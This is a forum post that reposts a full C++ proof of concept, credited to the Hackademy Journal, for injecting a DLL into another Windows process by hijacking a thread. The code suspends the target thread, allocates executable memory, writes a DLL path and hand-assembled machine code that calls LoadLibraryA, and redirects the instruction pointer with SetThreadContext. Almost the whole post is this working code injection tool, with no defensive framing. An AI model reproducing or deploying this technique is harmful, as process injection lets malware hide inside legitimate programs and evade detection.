Nytro Posted July 5, 2010 Report Posted July 5, 2010 /****************************************************************************** kCtxInject.cpp : Proof of concept for Get/SetThreadContext remote code running method. Refer to the Hackademy Journal (Internation Premium Edition) issue #1 page 17 for more information (http://premium.thehackademy.net) ***************************************************************************** Author : Kdm (Kodmaker@syshell.org) WebSite : http://www.syshell.org Downloaded from : http://premium.thehackademy.net *****************************************************************************/#include "stdafx.h"#include <stdio.h>#include <stdlib.h>#include <windows.h>#include <Tlhelp32.h>typedef HANDLE (WINAPI* pOpenThread)(DWORD ,BOOL,DWORD);void ShowLastError(){LPVOID lpMsgBuf;FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &lpMsgBuf, 0, NULL );// Process any inserts in lpMsgBuf.// ...// Display the string.MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONINFORMATION );// Free the buffer.LocalFree( lpMsgBuf );}void Die(char* msg){ printf("%s\n"); system("pause"); exit(0);}// OutputString : Send a formatted string to debugger outputvoid OutputString(char* frmstr,...) { char buf[1024*2]; va_list vargs; va_start(vargs, frmstr); wvsprintfA(buf, frmstr, vargs); va_end(vargs); OutputDebugString((char*)buf); return;} int WakeUpCurrentProcess(DWORD pid){ HANDLE hSnap, hThread; DWORD dPID=pid; THREADENTRY32 ThEnt = {0}; pOpenThread fOpenThread; fOpenThread = (pOpenThread) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread"); if(!fOpenThread) { OutputDebugString("!OpenThread\n"); return 0; } ThEnt.dwSize = sizeof(THREADENTRY32); hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dPID); if(hSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot ERROR\n"); return 0; } if (Thread32First(hSnap, &ThEnt)) { do { if (ThEnt.th32OwnerProcessID == dPID) { printf( "\nTID\t\t%d\n", ThEnt.th32ThreadID); printf( "Owner PID\t%d\n", ThEnt.th32OwnerProcessID); printf( "Delta Priority\t%d\n", ThEnt.tpDeltaPri); printf( "Base Priority\t%d\n", ThEnt.tpBasePri); hThread = fOpenThread(THREAD_SUSPEND_RESUME, FALSE, ThEnt.th32ThreadID); if(hThread) { printf("Handle ok\n"); ResumeThread(hThread); } } } while (Thread32Next(hSnap, &ThEnt)); } return 1;}inline void InsertByte(HANDLE hProcess, DWORD Addr, unsigned char byte){ //sizeof(unsigned char) if(!WriteProcessMemory(hProcess, (void*)Addr, &byte, 1, NULL)) { printf("byte %d", byte); Die("cannot be injected\n"); }}inline void InsertDword(HANDLE hProcess, DWORD Addr, DWORD dWord){ //sizeof(DWORD) if(!WriteProcessMemory(hProcess, (void*)Addr, &dWord, 4, NULL)) { printf("dword %d", dWord); Die("cannot be injected\n"); }}/* InjectDll : injects a dll into process whose handle is given in 1st param.This procedure also needs a handle for a thread that will be hijacked torun injected code. This code will load the dll whose path is in 4th argument.*/void InjectDll(HANDLE hProcess, HANDLE hThread, char* DllPath){ CONTEXT ctx; // context structure // beware of pointers fuck (use dword instead of dword* and casts) : DWORD Code = (DWORD) NULL; // base address for allocated memory DWORD DllAddr = (DWORD) NULL; // address of injected dll path in target process DWORD FuncAddr= (DWORD) NULL; // address of the function to trigger once injected int i; // loop counter // [x] 1st step : thread suspension (increases thread suspension count by one) printf("Suspending target thread... "); if(SuspendThread(hThread)==0xFFFFFFFF) { Die("FAILED\n"); // suspend thread } printf("OK\n"); // [x] step 2 : code injection // get current thread context printf("Retrieving thread context... "); ctx.ContextFlags = CONTEXT_FULL; // require full context if(!GetThreadContext(hThread, &ctx)) { Die("FAILED\n"); } printf("OK\n"); // Allocate space for code (1 memory page) printf("Allocating space for code injection... "); Code = (DWORD) VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(!Code) Die("FAILED\n"); printf("OK\n"); // Inject Dll Path into target process printf("Injecting Dll path ('%s')... ", DllPath); DllAddr = Code; // keep track of dll path in remote process if(!WriteProcessMemory(hProcess, (void*)Code, DllPath, strlen(DllPath)+1, NULL)) Die("FAILED\n"); Code += (strlen(DllPath)+1)+1+100; // jump to next free byte after string+'\0' printf("OK\n", DllPath); // Start to forge code : printf("Injecting code... "); InsertByte (hProcess, Code+0, 0x9c); // pushfd InsertByte (hProcess, Code+1, 0x60); // pushad ("push all dword", push all registers) InsertByte (hProcess, Code+2, 0x68); // push ... InsertDword(hProcess, Code+3, (DWORD)DllAddr); // ... @Dll_Path // call LoadLibraryA (the DWORD for a call or a jmp is ((to)-(from)-5)) InsertByte (hProcess, Code+7, 0xe8); // call ... FuncAddr = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); //printf("LoadLibraryA found at 0x%X\n", FuncAddr); InsertDword(hProcess, Code+8, FuncAddr-(Code+8-1)-5); // ... LoadLibraryA InsertByte (hProcess, Code+12, 0x61); // popad InsertByte (hProcess, Code+13, 0x9d); // popfd ("push all dword", push all registers) InsertByte (hProcess, Code+14, 0xe9); // jmp to old EIP InsertDword(hProcess, Code+15, ctx.Eip - (Code+15-1+5)); // destination - src - 5 printf("OK\n"); //[x] step 3 : run code printf("Executing code into target process space... "); ctx.Eip = Code; SetThreadContext(hThread, &ctx); // multiple calls to ResumeThread in order to decrease thread's suspend count // so when it reaches 0, the thread is *truly* resumed for(i=0; i<5; i++) ResumeThread(hThread); printf("OK\n");}void SpawnProcessAndInjectDll(char* ProcessPath, char* DllPath){ STARTUPINFO si; PROCESS_INFORMATION pi; DWORD CreationMode = CREATE_SUSPENDED; int ret; printf("Spawning process '%s'... ", ProcessPath); memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); ret = CreateProcess(ProcessPath, 0, NULL, NULL, 0, CreationMode, NULL, NULL, &si, &pi); if(!ret) { Die("FAILED\n"); ShowLastError(); } printf("OK, it has pid %d\n", pi.dwProcessId); InjectDll(pi.hProcess, pi.hThread, DllPath);}int main(int argc, char* argv[]){ char dllpath[] = "c:\\kMsgBoxDll.dll"; SpawnProcessAndInjectDll("c:\\windows\\system32\\calc.exe", dllpath); printf("\n"); system("pause"); return 0;} Quote